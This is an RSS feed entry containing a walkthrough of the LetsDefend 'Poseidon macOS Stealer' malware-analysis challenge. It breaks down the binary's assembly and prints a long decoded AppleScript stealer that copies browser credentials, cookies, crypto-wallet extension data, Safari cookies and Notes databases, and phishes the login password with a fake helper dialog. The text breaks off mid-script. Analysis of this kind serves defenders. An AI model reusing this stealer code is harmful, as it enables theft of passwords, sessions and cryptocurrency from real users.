<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 𝐌𝐚𝐭𝐞𝐨 𝐏𝐚𝐩𝐩𝐚 on Medium]]></title>
        <description><![CDATA[Stories by 𝐌𝐚𝐭𝐞𝐨 𝐏𝐚𝐩𝐩𝐚 on Medium]]></description>
        <link>https://medium.com/@MateoPappa?source=rss-70d18e1abaf1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2IOZaDeSXOscxowp5mkT5g.png</url>
            <title>Stories by 𝐌𝐚𝐭𝐞𝐨 𝐏𝐚𝐩𝐩𝐚 on Medium</title>
            <link>https://medium.com/@MateoPappa?source=rss-70d18e1abaf1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 08:18:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@MateoPappa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[LetsDefend — Poseidon macOS Stealer (Hard)]]></title>
            <link>https://medium.com/@MateoPappa/letsdefend-poseidon-macos-stealer-hard-a796c85d8c72?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a796c85d8c72</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[mac]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 05:07:56 GMT</pubDate>
            <atom:updated>2025-06-04T16:01:43.762Z</atom:updated>
            <content:encoded><![CDATA[<h3>LetsDefend — Poseidon macOS Stealer (Hard)</h3><p>This is an official guide to complete the <a href="https://app.letsdefend.io/challenge/poseidon-macos-stealer">Poseidon macOS Stealer</a> challenge on Let’sDefend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*XXOaxYcmqpoAoyagHw9slA.jpeg" /></figure><h3>𝐂𝐡𝐚𝐥𝐥𝐞𝐧𝐠𝐞 𝐝𝐞𝐭𝐚𝐢𝐥𝐬:</h3><p>Investigate the Poseidon macOS infostealer to identify how it infiltrated the system and to extract the stolen data. Employ forensic and malware analysis techniques to uncover the full extent of the breach and understand the malware’s operation.</p><p>In this walkthrough, we’re going to dig into the “Poseidon macOS Stealer” malware, break down how it works, see what it’s really up to, and check out how it talks to its command-and-control server.</p><p>Now, if you’re just here for the challenge answers, you can absolutely scroll to the end. The answers are waiting there for you, probably feeling a little lonely.</p><p><strong>With this in mind, let’s get started!<br></strong>The first thing I will do is get the malicious file onto my own VM (this is just a personal preference, as it’s more comfortable for me this way). However, you can use the VM provided by LetsDefend if you prefer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*_6DRBdXQC4F7nQFUII5SJw.jpeg" /></figure><h3>𝐏𝐨𝐬𝐞𝐢𝐝𝐨𝐧 𝐦𝐚𝐜𝐎𝐒 𝐒𝐭𝐞𝐚𝐥𝐞𝐫 - 𝐆𝐞𝐧𝐞𝐫𝐚𝐥 𝐎𝐯𝐞𝐫𝐯𝐢𝐞𝐰</h3><p>Its an AppleScript-based malware that acts as an info-stealer built for macOS, focused on collecting as much valuable data as it can from the system. It targets:</p><p>‣ Browser data from Firefox, Chrome, Brave, Edge, and Opera (cookies, passwords, history, form data, etc.)<br>‣ Wallet extensions like MetaMask (UUID-based folder parsing)<br>‣ Standalone wallets (Exodus, Atomic, Electrum, etc.)<br>‣ VPN configurations (NordVPN, OpenVPN)<br>‣ File storage paths (Desktop, Documents, Downloads)<br>‣ System information and user credentials (including attempts to get the master password via system commands or social engineering)<br>‣ Plugin and extension data<br>‣ Screenshot and active window tracking<br>‣ Exfiltration of all stolen data via HTTP POST requests to a hardcoded IP</p><p>Its structure is modular and tries different methods to avoid user interaction or get higher access quietly. The attention on crypto wallets, browser-stored passwords, and system-level data clearly shows a financial motivation.</p><h3>_𝐌𝐚𝐢𝐧 𝐅𝐮𝐧𝐜𝐭𝐢𝐨𝐧 𝐎𝐯𝐞𝐫𝐯𝐢𝐞𝐰:</h3><p>The main file is basically the core of this malware. Its actions are pretty direct: it creates a child process, detaches from the terminal, decodes a hexadecimal string, runs it as a command, deletes itself from the shell history, and then closes the Terminal process.</p><h4>🪓 _𝐌𝐚𝐢𝐧 — 𝐒𝐭𝐞𝐩-𝐛𝐲-𝐬𝐭𝐞𝐩 𝐛𝐫𝐞𝐚𝐤𝐝𝐨𝐰𝐧:</h4><h4>1. Initial setup and fork:</h4><pre>mov edi, 1<br>mov esi, 1<br>call _signal<br>call _fork<br>mov [rbp-8], eax<br>cmp [rbp-8], 0<br>jz loc_1000031B7</pre><ul><li>First, it sets a simple signal handler with<strong> “signal(1, 1)”</strong>, which doesn’t really change anything important here.</li><li>Then it calls “<strong>fork”</strong> to create a new process.</li><li>If it’s in the parent process (<strong>fork</strong>() returns something non-zero), it just exits with “<strong>exit(0)”</strong>.</li><li>If you’re in the child process (when <strong>fork()</strong> <strong>returns 0</strong>), execution continues.</li></ul><h4>2. Becomes a daemon:</h4><pre>call _setsid</pre><p>It detaches the process from the terminal and control group by creating a new session. This is the usual way to make a process run in the background as a daemon.</p><h4>3. Hex string and decoding:</h4><pre>lea rsi, a6f736173637269...<br>lea rdi, [rbp-38h]<br>...<br>call basic_string(char const*)<br>call hexer(string)</pre><ul><li>At this point, it loads a hex-encoded string (6f736173…) into a “<strong>std::string</strong>”.</li><li>The, it calls “<strong>hexer()”</strong> to decode that hex into regular text. The result is an AppleScript command (I’ll show you what it is in a minute).</li></ul><h4>4. Executes the decoded content:</h4><pre>call basic_string::c_str<br>call system</pre><ul><li>Here, it takes the decoded string from before and runs it with “<strong>system(…)”</strong>. So whatever the AppleScript command is, it’s executed now.</li></ul><h4>5. Cleanup:</h4><pre>call basic_string::~basic_string<br>call system(&quot;disown&quot;)<br>call system(&quot;pkill Terminal&quot;)</pre><ul><li>Finally, it destroys the used “std::string” objects.</li><li>Then it calls “disown” to detach the process from the shell</li><li>Uses “pkill Terminal” to kill the terminal it was launched from.</li></ul><h3>𝐇𝐞𝐱𝐞𝐫() 𝐅𝐮𝐧𝐜𝐭𝐢𝐨𝐧 𝐎𝐯𝐞𝐫𝐯𝐢𝐞𝐰</h3><p>This function takes a plain-text hex string (like 68656c6c6f), reads it two characters at a time, converts each pair into a character, and builds a new string.</p><h4>Quick breakdown:</h4><p>‣ Input: 68656c6c6f<br>‣ Split: 68 65 6c 6c 6f<br>‣ Converted: ‘h’ ‘e’ ‘l’ ‘l’ ‘o’<br>‣ Output: “hello”</p><p>I’m not including the assembly here. It’s just a loop repeating this conversion again and again. If you want to see the code, you can use IDA or another disassembler to check it out for yourself.</p><h3>🧙‍♂️ 𝐀𝐩𝐩𝐥𝐞𝐒𝐜𝐫𝐢𝐩𝐭 𝐜𝐨𝐦𝐦𝐚𝐧𝐝 𝐝𝐞𝐜𝐨𝐝𝐞:</h3><p>If we scroll down to this part of the assembly (_main function):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*VkCBvno4oj1lzb4d_Omdmg.jpeg" /></figure><p>you’ll notice there’s a label called “<strong>a6f736173637269”</strong>, wich it’s just a pointer to a hardcoded string in memory.</p><p>If you double-click “<strong>a6f736173637269</strong>” in IDA, it’ll send you to a long list of hex-encoded strings in the .rodata section. Every one of those is just a small chunk of a bigger AppleScript command, all packed in hex.</p><p>Here’s what you’ll see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*skwCHM5zBm6B6kOJ7K85YQ.jpeg" /></figure><p>As i said, each “<strong>db</strong>” entry is a piece of the larger payload, written out in hex. Nothing complicated, just the ingredients for the full command.</p><h4>🧪 <strong>Let’s do a little magic…</strong></h4><p>First, you should select all of these strings from IDA and paste them into a Notepad file called “<strong>Dump.txt</strong>”</p><p>Once that’s saved, you can run this command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*WZPVqJbtIzHujZW5s1GBcw.jpeg" /></figure><p>This grabs all the content between single quotes (‘) and saves it to a new file called “<strong>hexdata.txt</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEp2hwtDFFIAxwwe_MLNJQ.jpeg" /><figcaption>Output</figcaption></figure><p>Now for the final step, we’ll run this last command to convert the hex string into human-readable code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*7ZNE7alkFF7igQvpbKc4ug.jpeg" /></figure><p>And this is the result you’ll get at the end:</p><pre>osascript -e &#39;set release to true<br>set filegrabbers to true<br>if release then<br>        try<br>                --tell window 1 of application &quot;Terminal&quot; to set visible to false<br>        end try<br>end if<br>on filesizer(paths)<br>        set fsz to 0<br>        try<br>                set theItem to quoted form of POSIX path of paths<br>                set fsz to (do shell script &quot;/usr/bin/mdls -name kMDItemFSSize -raw &quot; &amp; theItem)<br>        end try<br>        return fsz<br>end filesizer<br>on mkdir(someItem)<br>        try<br>                set filePosixPath to quoted form of (POSIX path of someItem)<br>                do shell script &quot;mkdir -p &quot; &amp; filePosixPath<br>        end try<br>end mkdir<br>on FileName(filePath)<br>        try<br>                set reversedPath to (reverse of every character of filePath) as string<br>                set trimmedPath to text 1 thru ((offset of &quot;/&quot; in reversedPath) - 1) of reversedPath<br>                set finalPath to (reverse of every character of trimmedPath) as string<br>                return finalPath<br>        end try<br>end FileName<br>on BeforeFileName(filePath)<br>        try<br>                set lastSlash to offset of &quot;/&quot; in (reverse of every character of filePath) as string<br>                set trimmedPath to text 1 thru -(lastSlash + 1) of filePath<br>                return trimmedPath<br>        end try<br>end BeforeFileName<br>on writeText(textToWrite, filePath)<br>        try<br>                set folderPath to BeforeFileName(filePath)<br>                mkdir(folderPath)<br>                set fileRef to (open for access filePath with write permission)<br>                write textToWrite to fileRef starting at eof<br>                close access fileRef<br>        end try<br>end writeText<br>on readwrite(path_to_file, path_as_save)<br>        try<br>                set fileContent to read path_to_file<br>                set folderPath to BeforeFileName(path_as_save)<br>                mkdir(folderPath)<br>                do shell script &quot;cat &quot; &amp; quoted form of path_to_file &amp; &quot; &gt; &quot; &amp; quoted form of path_as_save<br>        end try<br>end readwrite<br>on isDirectory(someItem)<br>        try<br>                set filePosixPath to quoted form of (POSIX path of someItem)<br>                set fileType to (do shell script &quot;file -b &quot; &amp; filePosixPath)<br>                if fileType ends with &quot;directory&quot; then<br>                        return true<br>                end if<br>                return false<br>        end try<br>end isDirectory<br>on GrabFolderLimit(sourceFolder, destinationFolder)<br>        try<br>                set bankSize to 0<br>                set exceptionsList to {&quot;.DS_Store&quot;, &quot;Partitions&quot;, &quot;Code Cache&quot;, &quot;Cache&quot;, &quot;market-history-cache.json&quot;, &quot;journals&quot;, &quot;Previews&quot;}<br>                set fileList to list folder sourceFolder without invisibles<br>                mkdir(destinationFolder)<br>                repeat with currentItem in fileList<br>                        if currentItem is not in exceptionsList then<br>                                set itemPath to sourceFolder &amp; &quot;/&quot; &amp; currentItem<br>                                set savePath to destinationFolder &amp; &quot;/&quot; &amp; currentItem<br>                                if isDirectory(itemPath) then<br>                                        GrabFolderLimit(itemPath, savePath)<br>                                else<br>                                        set fsz to filesizer(itemPath)<br>                                        set bankSize to bankSize + fsz<br>                                        if bankSize &lt; 10 * 1024 * 1024 then<br>                                                readwrite(itemPath, savePath)<br>                                        end if<br>                                end if<br>                        end if<br>                end repeat<br>        end try<br>end GrabFolderLimit<br>on GrabFolder(sourceFolder, destinationFolder)<br>        try<br>                set exceptionsList to {&quot;.DS_Store&quot;, &quot;Partitions&quot;, &quot;Code Cache&quot;, &quot;Cache&quot;, &quot;market-history-cache.json&quot;, &quot;journals&quot;, &quot;Previews&quot;}<br>                set fileList to list folder sourceFolder without invisibles<br>                mkdir(destinationFolder)<br>                repeat with currentItem in fileList<br>                        if currentItem is not in exceptionsList then<br>                                set itemPath to sourceFolder &amp; &quot;/&quot; &amp; currentItem<br>                                set savePath to destinationFolder &amp; &quot;/&quot; &amp; currentItem<br>                                if isDirectory(itemPath) then<br>                                        GrabFolder(itemPath, savePath)<br>                                else<br>                                        readwrite(itemPath, savePath)<br>                                end if<br>                        end if<br>                end repeat<br>        end try<br>end GrabFolder<br>on GetUUID(pather, searchString)<br>        try<br>                set theFile to POSIX file pather<br>                set fileContents to read theFile<br>                set startPos to offset of searchString in fileContents<br>                if startPos is 0 then<br>                        return &quot;not found&quot;<br>                end if<br>                set uuidStart to startPos + (length of searchString)<br>                set uuid to text uuidStart thru (uuidStart + 55) of fileContents<br>                set endpos to offset of &quot;\\&quot; in uuid<br>                if endpos is 0 then<br>                        return &quot;not found&quot;<br>                end if<br>                set realuuid to text uuidStart thru (uuidStart + endpos - 2) of fileContents<br>                return realuuid<br>        on error<br>                return &quot;not found&quot;<br>        end try<br>end GetUUID<br>on firewallets(firepath, writemind, profile)<br>        try<br>                set fire_wallets to {{&quot;MetaMask&quot;, &quot;webextension@metamask.io\\\&quot;:\\\&quot;&quot;}}<br>                repeat with wallet in fire_wallets<br>                        set uuid to GetUUID(firepath &amp; &quot;/prefs.js&quot;, item 2 of wallet)<br>                        if uuid is not &quot;not found&quot; then<br>                                set walkpath to firepath &amp; &quot;/storage/default/&quot;<br>                                set fileList to list folder walkpath without invisibles<br>                                repeat with currentItem in fileList<br>                                        if currentItem contains uuid then<br>                                                set fwallet to walkpath &amp; currentItem &amp; &quot;/idb/&quot;<br>                                                set fileList_wallet to list folder fwallet without invisibles<br>                                                repeat with currentItem_wallet in fileList_wallet<br>                                                        if isDirectory(fwallet &amp; currentItem_wallet) then<br>                                                                GrabFolder(fwallet &amp; currentItem_wallet, writemind &amp; &quot;ffwallets/&quot; &amp; item 1 of wallet &amp; &quot;_&quot; &amp; profile &amp; &quot;/&quot;)<br>                                                        end if<br>                                                end repeat<br>                                        end if<br>                                end repeat<br>                        end if<br>                end repeat<br>        end try<br>end firewallets<br>on parseFF(firefox, writemind)<br>        try<br>                set myFiles to {&quot;/cookies.sqlite&quot;, &quot;/formhistory.sqlite&quot;, &quot;/key4.db&quot;, &quot;/logins.json&quot;}<br>                set fileList to list folder firefox without invisibles<br>                repeat with currentItem in fileList<br>                        firewallets(firefox &amp; currentItem, writemind, currentItem)<br>                        set fpath to writemind &amp; &quot;ff/&quot; &amp; currentItem<br>                        set readpath to firefox &amp; currentItem<br>                        repeat with FFile in myFiles<br>                                readwrite(readpath &amp; FFile, fpath &amp; FFile)<br>                        end repeat<br>                end repeat<br>        end try<br>end parseFF<br>on checkvalid(username, password_entered)<br>        try<br>                set result to do shell script &quot;dscl . authonly &quot; &amp; quoted form of username &amp; space &amp; quoted form of password_entered<br>                if result is not equal to &quot;&quot; then<br>                        return false<br>                else<br>                        return true<br>                end if<br>        on error<br>                return false<br>        end try<br>end checkvalid<br>on getpwd(username, writemind)<br>        try<br>                if checkvalid(username, &quot;&quot;) then<br>                        set result to do shell script &quot;security 2&gt;&amp;1 &gt; /dev/null find-generic-password -ga \&quot;Chrome\&quot; | awk \&quot;{print $2}\&quot;&quot;<br>                        writeText(result as string, writemind &amp; &quot;masterpass-chrome&quot;)<br>                else<br>                        repeat<br>                                set result to display dialog &quot;Required Application Helper. Please enter password for continue.&quot; default answer &quot;&quot; with icon caution buttons {&quot;Continue&quot;} default button &quot;Continue&quot; giving up after 150 with title &quot;Application wants to install helper&quot; with hidden answer<br>                                set password_entered to text returned of result<br>                                if checkvalid(username, password_entered) then<br>                                        writeText(password_entered, writemind &amp; &quot;pwd&quot;)<br>                                        return password_entered<br>                                end if<br>                        end repeat<br>                end if<br>        end try<br>        return &quot;&quot;<br>end getpwd<br>on grabPlugins(paths, savePath, pluginList, index)<br>        try<br>                set fileList to list folder paths without invisibles<br>                repeat with PFile in fileList<br>                        repeat with Plugin in pluginList<br>                                if (PFile contains Plugin) then<br>                                        set newpath to paths &amp; PFile<br>                                        set newsavepath to savePath &amp; &quot;/&quot; &amp; Plugin<br>                                        if index then<br>                                                set newsavepath to newsavepath &amp; &quot;/IndexedDB/&quot;<br>                                        end if<br>                                        GrabFolder(newpath, newsavepath)<br>                                end if<br>                        end repeat<br>                end repeat<br>        end try<br>end grabPlugins<br>on chromium(writemind, chromium_map)<br>        set pluginList to {&quot;keenhcnmdmjjhincpilijphpiohdppno&quot;, &quot;hbbgbephgojikajhfbomhlmmollphcad&quot;, &quot;cjmkndjhnagcfbpiemnkdpomccnjblmj&quot;, &quot;dhgnlgphgchebgoemcjekedjjbifijid&quot;, &quot;hifafgmccdpekplomjjkcfgodnhcellj&quot;, &quot;kamfleanhcmjelnhaeljonilnmjpkcjc&quot;, &quot;jnldfbidonfeldmalbflbmlebbipcnle&quot;, &quot;fdcnegogpncmfejlfnffnofpngdiejii&quot;, &quot;klnaejjgbibmhlephnhpmaofohgkpgkd&quot;, &quot;pdadjkfkgcafgbceimcpbkalnfnepbnk&quot;, &quot;kjjebdkfeagdoogagbhepmbimaphnfln&quot;, &quot;ldinpeekobnhjjdofggfgjlcehhmanlj&quot;, &quot;dkdedlpgdmmkkfjabffeganieamfklkm&quot;, &quot;bcopgchhojmggmffilplmbdicgaihlkp&quot;, &quot;kpfchfdkjhcoekhdldggegebfakaaiog&quot;, &quot;idnnbdplmphpflfnlkomgpfbpcgelopg&quot;, &quot;mlhakagmgkmonhdonhkpjeebfphligng&quot;, &quot;bipdhagncpgaccgdbddmbpcabgjikfkn&quot;, &quot;gcbjmdjijjpffkpbgdkaojpmaninaion&quot;, &quot;nhnkbkgjikgcigadomkphalanndcapjk&quot;, &quot;bhhhlbepdkbapadjdnnojkbgioiodbic&quot;, &quot;hoighigmnhgkkdaenafgnefkcmipfjon&quot;, &quot;klghhnkeealcohjjanjjdaeeggmfmlpl&quot;, &quot;nkbihfbeogaeaoehlefnkodbefgpgknn&quot;, &quot;fhbohimaelbohpjbbldcngcnapndodjp&quot;, &quot;ebfidpplhabeedpnhjnobghokpiioolj&quot;, &quot;emeeapjkbcbpbpgaagfchmcgglmebnen&quot;, &quot;fldfpgipfncgndfolcbkdeeknbbbnhcc&quot;, &quot;penjlddjkjgpnkllboccdgccekpkcbin&quot;, &quot;fhilaheimglignddkjgofkcbgekhenbh&quot;, &quot;hmeobnfnfcmdkdcmlblgagmfpfboieaf&quot;, &quot;cihmoadaighcejopammfbmddcmdekcje&quot;, &quot;lodccjjbdhfakaekdiahmedfbieldgik&quot;, &quot;omaabbefbmiijedngplfjmnooppbclkk&quot;, &quot;cjelfplplebdjjenllpjcblmjkfcffne&quot;, &quot;jnlgamecbpmbajjfhmmmlhejkemejdma&quot;, &quot;fpkhgmpbidmiogeglndfbkegfdlnajnf&quot;, &quot;bifidjkcdpgfnlbcjpdkdcnbiooooblg&quot;, &quot;amkmjjmmflddogmhpjloimipbofnfjih&quot;, &quot;flpiciilemghbmfalicajoolhkkenfel&quot;, &quot;hcflpincpppdclinealmandijcmnkbgn&quot;, &quot;aeachknmefphepccionboohckonoeemg&quot;, &quot;nlobpakggmbcgdbpjpnagmdbdhdhgphk&quot;, &quot;momakdpclmaphlamgjcndbgfckjfpemp&quot;, &quot;mnfifefkajgofkcjkemidiaecocnkjeh&quot;, &quot;fnnegphlobjdpkhecapkijjdkgcjhkib&quot;, &quot;ehjiblpccbknkgimiflboggcffmpphhp&quot;, &quot;ilhaljfiglknggcoegeknjghdgampffk&quot;, &quot;pgiaagfkgcbnmiiolekcfmljdagdhlcm&quot;, &quot;fnjhmkhhmkbjkkabndcnnogagogbneec&quot;, &quot;bfnaelmomeimhlpmgjnjophhpkkoljpa&quot;, &quot;imlcamfeniaidioeflifonfjeeppblda&quot;, &quot;mdjmfdffdcmnoblignmgpommbefadffd&quot;, &quot;ooiepdgjjnhcmlaobfinbomgebfgablh&quot;, &quot;pcndjhkinnkaohffealmlmhaepkpmgkb&quot;, &quot;ppdadbejkmjnefldpcdjhnkpbjkikoip&quot;, &quot;cgeeodpfagjceefieflmdfphplkenlfk&quot;, &quot;dlcobpjiigpikoobohmabehhmhfoodbb&quot;, &quot;jiidiaalihmmhddjgbnbgdfflelocpak&quot;, &quot;bocpokimicclpaiekenaeelehdjllofo&quot;, &quot;pocmplpaccanhmnllbbkpgfliimjljgo&quot;, &quot;cphhlgmgameodnhkjdmkpanlelnlohao&quot;, &quot;mcohilncbfahbmgdjkbpemcciiolgcge&quot;, &quot;bopcbmipnjdcdfflfgjdgdjejmgpoaab&quot;, &quot;khpkpbbcccdmmclmpigdgddabeilkdpd&quot;, &quot;ejjladinnckdgjemekebdpeokbikhfci&quot;, &quot;phkbamefinggmakgklpkljjmgibohnba&quot;, &quot;epapihdplajcdnnkdeiahlgigofloibg&quot;, &quot;hpclkefagolihohboafpheddmmgdffjm&quot;, &quot;cjookpbkjnpkmknedggeecikaponcalb&quot;, &quot;cpmkedoipcpimgecpmgpldfpohjplkpp&quot;, &quot;modjfdjcodmehnpccdjngmdfajggaoeh&quot;, &quot;ibnejdfjmmkpcnlpebklmnkoeoihofec&quot;, &quot;afbcbjpbpfadlkmhmclhkeeodmamcflc&quot;, &quot;kncchdigobghenbbaddojjnnaogfppfj&quot;, &quot;efbglgofoippbgcjepnhiblaibcnclgk&quot;, &quot;mcbigmjiafegjnnogedioegffbooigli&quot;, &quot;fccgmnglbhajioalokbcidhcaikhlcpm&quot;, &quot;hnhobjmcibchnmglfbldbfabcgaknlkj&quot;, &quot;apnehcjmnengpnmccpaibjmhhoadaico&quot;, &quot;enabgbdfcbaehmbigakijjabdpdnimlg&quot;, &quot;mgffkfbidihjpoaomajlbgchddlicgpn&quot;, &quot;fopmedgnkfpebgllppeddmmochcookhc&quot;, &quot;jojhfeoedkpkglbfimdfabpdfjaoolaf&quot;, &quot;ammjlinfekkoockogfhdkgcohjlbhmff&quot;, &quot;abkahkcbhngaebpcgfmhkoioedceoigp&quot;, &quot;dcbjpgbkjoomeenajdabiicabjljlnfp&quot;, &quot;gkeelndblnomfmjnophbhfhcjbcnemka&quot;, &quot;pnndplcbkakcplkjnolgbkdgjikjednm&quot;, &quot;copjnifcecdedocejpaapepagaodgpbh&quot;, &quot;hgbeiipamcgbdjhfflifkgehomnmglgk&quot;, &quot;mkchoaaiifodcflmbaphdgeidocajadp&quot;, &quot;ellkdbaphhldpeajbepobaecooaoafpg&quot;, &quot;mdnaglckomeedfbogeajfajofmfgpoae&quot;, &quot;nknhiehlklippafakaeklbeglecifhad&quot;, &quot;ckklhkaabbmdjkahiaaplikpdddkenic&quot;, &quot;fmblappgoiilbgafhjklehhfifbdocee&quot;, &quot;nphplpgoakhhjchkkhmiggakijnkhfnd&quot;, &quot;cnmamaachppnkjgnildpdmkaakejnhae&quot;, &quot;fijngjgcjhjmmpcmkeiomlglpeiijkld&quot;, &quot;niiaamnmgebpeejeemoifgdndgeaekhe&quot;, &quot;odpnjmimokcmjgojhnhfcnalnegdjmdn&quot;, &quot;lbjapbcmmceacocpimbpbidpgmlmoaao&quot;, &quot;hnfanknocfeofbddgcijnmhnfnkdnaad&quot;, &quot;hpglfhgfnhbgpjdenjgmdgoeiappafln&quot;, &quot;egjidjbpglichdcondbcbdnbeeppgdph&quot;, &quot;ibljocddagjghmlpgihahamcghfggcjc&quot;, &quot;gkodhkbmiflnmkipcmlhhgadebbeijhh&quot;, &quot;dbgnhckhnppddckangcjbkjnlddbjkna&quot;, &quot;mfhbebgoclkghebffdldpobeajmbecfk&quot;, &quot;nlbmnnijcnlegkjjpcfjclmcfggfefdm&quot;, &quot;nlgbhdfgdhgbiamfdfmbikcdghidoadd&quot;, &quot;acmacodkjbdgmoleebolmdjonilkdbch&quot;, &quot;agoakfejjabomempkjlepdflaleeobhb&quot;, &quot;dgiehkgfknklegdhekgeabnhgfjhbajd&quot;, &quot;onhogfjeacnfoofkfgppdlbmlmnplgbn&quot;, &quot;kkpehldckknjffeakihjajcjccmcjflh&quot;, &quot;jaooiolkmfcmloonphpiiogkfckgciom&quot;, &quot;ojggmchlghnjlapmfbnjholfjkiidbch&quot;, &quot;pmmnimefaichbcnbndcfpaagbepnjaig&quot;, &quot;oiohdnannmknmdlddkdejbmplhbdcbee&quot;, &quot;aiifbnbfobpmeekipheeijimdpnlpgpp&quot;, &quot;aholpfdialjgjfhomihkjbmgjidlcdno&quot;, &quot;anokgmphncpekkhclmingpimjmcooifb&quot;, &quot;kkpllkodjeloidieedojogacfhpaihoh&quot;, &quot;iokeahhehimjnekafflcihljlcjccdbe&quot;, &quot;ifckdpamphokdglkkdomedpdegcjhjdp&quot;, &quot;loinekcabhlmhjjbocijdoimmejangoa&quot;, &quot;fcfcfllfndlomdhbehjjcoimbgofdncg&quot;, &quot;ifclboecfhkjbpmhgehodcjpciihhmif&quot;, &quot;dmkamcknogkgcdfhhbddcghachkejeap&quot;, &quot;ookjlbkiijinhpmnjffcofjonbfbgaoc&quot;, &quot;oafedfoadhdjjcipmcbecikgokpaphjk&quot;, &quot;mapbhaebnddapnmifbbkgeedkeplgjmf&quot;, &quot;cmndjbecilbocjfkibfbifhngkdmjgog&quot;, &quot;kpfopkelmapcoipemfendmdcghnegimn&quot;, &quot;lgmpcpglpngdoalbgeoldeajfclnhafa&quot;, &quot;ppbibelpcjmhbdihakflkdcoccbgbkpo&quot;, &quot;ffnbelfdoeiohenkjibnmadjiehjhajb&quot;, &quot;opcgpfmipidbgpenhmajoajpbobppdil&quot;, &quot;lakggbcodlaclcbbbepmkpdhbcomcgkd&quot;, &quot;kgdijkcfiglijhaglibaidbipiejjfdp&quot;, &quot;hdkobeeifhdplocklknbnejdelgagbao&quot;, &quot;lnnnmfcpbkafcpgdilckhmhbkkbpkmid&quot;, &quot;nbdhibgjnjpnkajaghbffjbkcgljfgdi&quot;, &quot;kmhcihpebfmpgmihbkipmjlmmioameka&quot;, &quot;kmphdnilpmdejikjdnlbcnmnabepfgkh&quot;, &quot;nngceckbapebfimnlniiiahkandclblb&quot;}<br>        set custom_plugin_list to {&quot;&quot;}<br>        set chromiumFiles to {&quot;/Network/Cookies&quot;, &quot;/Cookies&quot;, &quot;/Web Data&quot;, &quot;/Login Data&quot;, &quot;/Local Extension Settings/&quot;, &quot;/IndexedDB/&quot;}<br>        repeat with chromium in chromium_map<br>                set savePath to writemind &amp; &quot;Chromium/&quot; &amp; item 1 of chromium &amp; &quot;_&quot;<br>                try<br>                        set fileList to list folder item 2 of chromium without invisibles<br>                        repeat with currentItem in fileList<br>                                if ((currentItem as string) is equal to &quot;Default&quot;) or ((currentItem as string) contains &quot;Profile&quot;) then<br>                                        repeat with CFile in chromiumFiles<br>                                                set readpath to (item 2 of chromium &amp; currentItem &amp; CFile)<br>                                                if ((CFile as string) is equal to &quot;/Network/Cookies&quot;) then<br>                                                        set CFile to &quot;/Cookies&quot;<br>                                                end if<br>                                                if ((CFile as string) is equal to &quot;/Local Extension Settings/&quot;) then<br>                                                        grabPlugins(readpath, savePath &amp; currentItem, pluginList, false)<br>                                                        grabPlugins(readpath, writemind &amp; &quot;deskwallets/&quot;, custom_plugin_list, false)<br>                                                else if (CFile as string) is equal to &quot;/IndexedDB/&quot; then<br>                                                        grabPlugins(readpath, savePath &amp; currentItem, pluginList, true)<br>                                                else<br>                                                        set writepath to savePath &amp; currentItem &amp; CFile<br>                                                        readwrite(readpath, writepath)<br>                                                end if<br>                                        end repeat<br>                                end if<br>                        end repeat<br>                end try<br>        end repeat<br>end chromium<br>on deskwallets(writemind, deskwals)<br>        repeat with deskwal in deskwals<br>                try<br>                        GrabFolder(item 2 of deskwal, writemind &amp; item 1 of deskwal)<br>                end try<br>        end repeat<br>end deskwallets<br>on filegrabber()<br>        try<br>                set destinationFolderPath to POSIX file &quot;/tmp/xuyna/FileGrabber/&quot;<br>                set photosPath to POSIX file &quot;/tmp/photos&quot;<br>                mkdir(photosPath)<br>                mkdir(destinationFolderPath)<br>                set extensionsList to {&quot;txt&quot;, &quot;rtf&quot;, &quot;key&quot;, &quot;keys&quot;, &quot;png&quot;, &quot;jpg&quot;, &quot;jpeg&quot;, &quot;wallet&quot;, &quot;doc&quot;, &quot;docx&quot;, &quot;kdbx&quot;, &quot;pdf&quot;}<br>                set bankSize to 0<br>                tell application &quot;Finder&quot;<br>                        try<br>                                set safariFolderPath to (path to home folder as text) &amp; &quot;Library:Cookies:&quot;<br>                                duplicate file (safariFolderPath &amp; &quot;Cookies.binarycookies&quot;) to folder destinationFolderPath with replacing<br>                                set name of result to &quot;saf1&quot;<br>                        end try<br>                        try<br>                                set safariFolder to ((path to library folder from user domain as text) &amp; &quot;Containers:com.apple.Safari:Data:Library:Cookies:&quot;)<br>                                try<br>                                        duplicate file &quot;Cookies.binarycookies&quot; of folder safariFolder to folder destinationFolderPath with replacing<br>                                end try<br>                                set notesFolderPath to (path to home folder as text) &amp; &quot;Library:Group Containers:group.com.apple.notes:&quot;<br>                                set notesAccounts to folder (notesFolderPath &amp; &quot;Accounts:&quot;)<br>                                try<br>                                        --duplicate notesAccounts to photosPath with replacing<br>                                end try<br>                                try<br>                                        set notesFolder to folder notesFolderPath<br>                                        set notesFiles to {file &quot;NoteStore.sqlite&quot;, file &quot;NoteStore.sqlite-shm&quot;, file &quot;NoteStore.sqlite-wal&quot;} of notesFolder<br>                                        repeat with aFile in notesFiles<br>                                                try<br>                                                        duplicate aFile to folder destinationFolderPath with replacing<br>                                                end try<br>                                        end 